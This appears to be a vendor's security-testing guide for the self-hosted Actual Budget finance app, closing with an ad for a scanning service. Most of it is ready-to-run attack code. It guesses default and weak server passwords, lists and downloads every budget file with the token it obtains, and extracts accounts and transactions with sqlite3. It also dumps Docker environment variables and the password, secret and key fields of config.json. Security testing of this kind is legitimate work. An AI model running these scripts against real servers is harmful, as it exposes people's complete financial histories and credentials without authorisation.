Actual Budget Security Testing: Default Credentials, API Key, Database, and Server Files

Actual Budget is a widely deployed self-hosted personal finance and budgeting application — it stores complete personal financial transaction history in SQLite databases that sync to the server. Key assessment areas: the server uses a single shared password to protect access to all budget files with no per-user isolation by default; weak or default passwords expose complete personal financial data; authenticated sessions can download any budget file as a blob; and the server file system stores SQLite databases with full financial history. This guide covers systematic Actual Budget security assessment.

Table of Contents

  1. Server Password Testing and Session Establishment
  2. Budget File Download and Data Extraction
  3. Server File System and SQLite Analysis
  4. Actual Budget Security Hardening

Server Password Testing and Session Establishment

# Actual Budget — server password testing and session establishment
ACTUAL_URL="http://budget.example.com:5006"

# Test common weak server passwords
# Actual Budget uses a single server password — no usernames
for PASS in "actualbudget" "budget" "password" "actual" "" "1234"; do
  RESULT=$(curl -s -X POST "${ACTUAL_URL}/account/login" \
    -H "Content-Type: application/json" \
    -d "{\"loginMethod\":\"password\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "$RESULT" | python3 -c "
import json,sys
d=json.load(sys.stdin)
status = d.get('status','')
data = d.get('data',{})
if status == 'ok' or data.get('token'):
    token = data.get('token','')
    print(f'SUCCESS password=\"${PASS}\" token={token[:20]}...')
elif 'invalid-password' in str(d) or 'wrong' in str(d).lower():
    print(f'FAIL: invalid password')
else:
    print(f'Response: {str(d)[:80]}')
" 2>/dev/null
done

# With valid token — list all budget files
ACTUAL_TOKEN="your-actual-token"
curl -s "${ACTUAL_URL}/sync/list-user-files" \
  -H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
files = d.get('data',[]) if isinstance(d,dict) else d
print(f'Budget files on server: {len(files)}')
for f in files:
    print(f'  [{f.get(\"fileId\")}] {f.get(\"name\")}')
    print(f'    group={f.get(\"groupId\")} size={f.get(\"deleted\")}')
" 2>/dev/null

Budget File Download and Data Extraction

# Actual Budget budget file download and data extraction
ACTUAL_URL="http://budget.example.com:5006"
ACTUAL_TOKEN="your-actual-token"
FILE_ID="your-budget-file-id"

# Download complete budget blob
curl -s "${ACTUAL_URL}/sync/${FILE_ID}/download" \
  -H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" \
  -o /tmp/budget.blob 2>/dev/null
ls -la /tmp/budget.blob
# Budget blob is an encrypted SQLite database — key derived from client-side password
# If no encryption password is set, it's an unencrypted SQLite file

# Check if blob is SQLite (unencrypted)
file /tmp/budget.blob 2>/dev/null
sqlite3 /tmp/budget.blob ".tables" 2>/dev/null
# If SQLite tables visible — budget is NOT encrypted

# Extract financial data if unencrypted
sqlite3 /tmp/budget.blob 2>/dev/null << 'EOF'
-- All accounts
SELECT id, name, type, offbudget, closed,
       balance_current,
       balance_payment
FROM accounts
WHERE tombstone = 0
ORDER BY sort_order;
EOF

sqlite3 /tmp/budget.blob 2>/dev/null << 'EOF'
-- All transactions
SELECT t.id,
       a.name as account,
       t.date, t.amount,
       t.notes,
       p.name as payee,
       ca.name as category,
       t.cleared
FROM transactions t
LEFT JOIN accounts a ON t.acct = a.id
LEFT JOIN payees p ON t.description = p.id
LEFT JOIN categories ca ON t.category = ca.id
WHERE t.tombstone = 0
ORDER BY t.date DESC
LIMIT 30;
EOF
-- amount in cents — divide by 100 for dollar amount

# Get sync messages (transaction history delta)
curl -s "${ACTUAL_URL}/sync/sync" \
  -H "X-ACTUAL-TOKEN: ${ACTUAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d "{\"fileId\":\"${FILE_ID}\",\"since\":\"0\",\"clientId\":\"test\"}" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
msgs = d.get('data',{}).get('messages',[])
print(f'Sync messages: {len(msgs)}')
" 2>/dev/null

Server File System and SQLite Analysis

# Actual Budget server file system and SQLite analysis

# Server files directory
ls /data/server-files/ 2>/dev/null | head -20
# Files are stored as UUIDs
# Each UUID directory contains .blob files (budget snapshots)

# Server metadata
ls /data/server-files/ 2>/dev/null | while read UUID; do
  [ -d "/data/server-files/${UUID}" ] && {
    echo "Budget: ${UUID}"
    ls -lh /data/server-files/${UUID}/ 2>/dev/null | head -3
    # Check if .blob file is SQLite
    BLOB=$(ls /data/server-files/${UUID}/*.blob 2>/dev/null | tail -1)
    [ -n "$BLOB" ] && {
      TYPE=$(file "$BLOB" 2>/dev/null)
      echo "  Type: $TYPE"
      # If SQLite — extract immediately
      sqlite3 "$BLOB" ".tables" 2>/dev/null && echo "  UNENCRYPTED SQLite!"
    }
  }
done

# Docker environment configuration
docker inspect actual-budget 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        print(e)
    # Volume mounts
    mounts = c.get('Mounts',[])
    for m in mounts:
        print(f'Volume: {m.get(\"Source\")} -> {m.get(\"Destination\")}')
" 2>/dev/null

# Config file
cat /data/config.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
# Contains server configuration
for k, v in d.items():
    if any(x in k.lower() for x in ['password','secret','token','key']):
        print(f'{k}: {v}')
    else:
        print(f'{k}: {str(v)[:60]}')
" 2>/dev/null

Actual Budget Security Hardening

Actual Budget Security Hardening Checklist:
Security TestMethodRisk
Server password brute forcePOST /account/login with weak passwords (actualbudget, budget, password) — single password grants access to all budget files on the server; no per-user isolation; complete financial data exposure for all usersHigh
Budget file list enumerationGET /sync/list-user-files — all budget files stored on the server; reveals how many users have budgets and budget file IDs for targeted downloadHigh
Budget blob download and SQLite extractionGET /sync/{fileId}/download — download complete budget snapshot; if not encrypted, it is a readable SQLite database with complete transaction history, account names, and financial dataCritical
Server-files directory SQLite blob accessRead /data/server-files/{uuid}/*.blob — all budget files directly from file system; unencrypted blobs contain complete financial data; encrypted blobs require client-side decryption keyHigh
OpenID misconfiguration assessmentCheck OPENID_DISCOVERY_URL configuration — if using OpenID Connect auth mode, test for misconfigured provider allowing unauthorized user creation or bypass of authenticationMedium

Automate Actual Budget Security Testing

Ironimo tests Actual Budget deployments for server password brute force (actualbudget, budget, password defaults), budget file list enumeration, budget blob download and SQLite content extraction, server-files directory unencrypted SQLite blob identification, OpenID Connect misconfiguration assessment, Docker volume mount server-files directory access, config.json credential exposure, sync protocol unauthorized download detection, budget encryption status assessment, and multi-user shared access boundary testing.

Start free scan